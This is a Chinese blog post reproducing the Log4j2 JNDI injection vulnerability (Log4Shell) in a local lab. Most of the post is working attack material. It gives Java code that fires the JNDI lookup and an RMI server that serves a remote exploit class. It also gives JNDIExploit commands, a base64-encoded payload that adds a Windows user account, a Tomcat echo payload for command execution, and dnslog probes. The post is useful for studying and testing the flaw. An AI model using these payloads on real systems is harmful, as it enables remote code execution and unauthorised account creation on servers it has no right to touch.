vlambda博客
学习文章列表

Log4j漏洞全方位解析

Log4j 漏洞复现利用

Apache Log4j 2.x <= 2.14.1

2.0 <= Apache log4j2 <= 2.14.1


漏洞成因

1.Log4j2漏洞其实是JNDI注入漏洞,在执行

log.error("payload:${jndi:rmi://127.0.0.1:1097/exp}");的时候触发

2.当程序将用户输入的数据进行日志记录时,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,比如${jndi:ldap://127.0.0.1/exp}并且执行即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。


漏洞代码(复现1)

Main.java log4j漏洞文件

package com.client;import org.apache.logging.log4j.Logger;import org.apache.logging.log4j.LogManager;public class Main { private static final Logger log = LogManager.getLogger(Main.class); public static void main(String[] args) { //默认为false,禁止RMI和CORBA协议使用远程 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); // 执行该日志注入 //JndiExploit利用连接 执行命令net user hackxxx xxxx /add //log.error("${jndi:ldap://192.168.177.167:1389/Basic/Command/Base64/bmV0IHVzZXIgaGFja3h4eCAxMjNAQEAjcXcgL2FkZA==}"); // 执行自己写的exp log.error("payload:${jndi:rmi://127.0.0.1:1097/exp}");


Server.java 作用开启RMI服务

package com.rmi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RmiServer { public static void main(String[] args)throws Exception{ try { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); //创建rmi映射表 Registry registrys= LocateRegistry.createRegistry(1097); //加载的class中需要实例化类的名称 //classFactory - 加载的class中需要实例化类的名称 //3. classFactoryLocation - 提供远程或者本地 classes数据的地址可以是file/ftp/http等协议 Reference reference = new Reference("exp", "exp", "http://127.0.0.1:8080/"); ReferenceWrapper wrappers = new ReferenceWrapper(reference); registrys.bind("exp", wrappers);



自写代码复现

1.启动HTTP服务(JSPstudy端口8080) 启动RMI服务(执行Server.java)

2.编译EXP javac c:\exp.java 参考JND部分, 把编译好的exp.class放在JSPstudy的web目录,然后RMI服务调用

Reference reference = new Reference("exp", "exp", "http://127.0.0.1:8080/")

exp就是自己编写好的利用代码 把文件名对应写好就可以了 http://127.0.0.1:8080/ web路径

3.简单测试

  弹clac  ${jndi:rmi://127.0.0.1:1097/exp}    dnslog  ${jndi:ldap://u0mhtu.dnslog.cn}  


4.高级测试执行系统命令,使用JNDIExploit

 启动JndiExploit (开启 http ldap 服务) 这个可以代替前面的步骤1,2 比较方便还内置了很多 claass不用自己在编译如弹计算器,命令执行,dnslog,bypass等。执行如下代码

 java -jar C:\JNDIExploit.v1.2\JNDIExploi.jar -i 192.168.177.167 -p 8089

 jar -i 192.168.177.167 -p 8089           //本机ip  -p 指定http协议的端口

java -jar C:\JNDIExploit.v1.2\JNDIExploi.jar -u

 -u           //查看示例链接  这次演示/Basic/Command/Base64/ 需要对要执行的命令进行base64加密

 

${jndi:ldap://192.168.177.167:1389/Basic/Command/Base64/bmV0IHVzZXIgaGFja3h4eCAxMjNAQEAjcXcgL2FkZA==}


靶场环境复现

1.启动JndiExploit 

(开启 http ldap 服务) 这个可以代替前面的步骤1,2 比较方便还内置了很多claass不用自己在编译如    弹计算器,命令执行,dnslog,bypass等。执行如下代码

  java -jar C:\JNDIExploit.v1.2\JNDIExploi.jar -i 192.168.177.167 -p 8089

  jar -i 192.168.177.167 -p 8089           //本机ip  -p 指定http协议的端口

  -u           //查看示例链接

2.开启docker靶场

  service docker start //开启docker

docker pull registry.cn-zhangjiakou.aliyuncs.com/rcs-team/vulnerability:log4j2-rce-2021-12-02  //拉镜像

  docker images //查看镜像

  docker ps -a

  docker run -itd -p 8990:8990 be0c61922043  //启动镜像

  docker ps

  ip a

  docker exec -it 46067b6d4325 /bin/bash  //进入以启动镜像的终端shell

3.访问靶场抓包 

  http://192.168.177.172:8080/hello

  dnslog   ${jndi:ldap://u0mhtu.dnslog.cn}

  命令执行  payload=${jndi:ldap://192.168.177.167:1389/TomcatBypass/TomcatEcho}

                  cmd:ls

演示视频

Replay Share Like

0 / 0

转载
,
Log4j漏洞全方位解析
安全帮Live
进度条,百分之0
00:00
/
15:23
15:23
全屏

继续观看

Log4j漏洞全方位解析


Log4j漏洞详细复现

链接:https://pan.baidu.com/s/1vcwkt__Iar01tSyoZ17z4g

提取码:1234


Java学习群请加:feigegehacker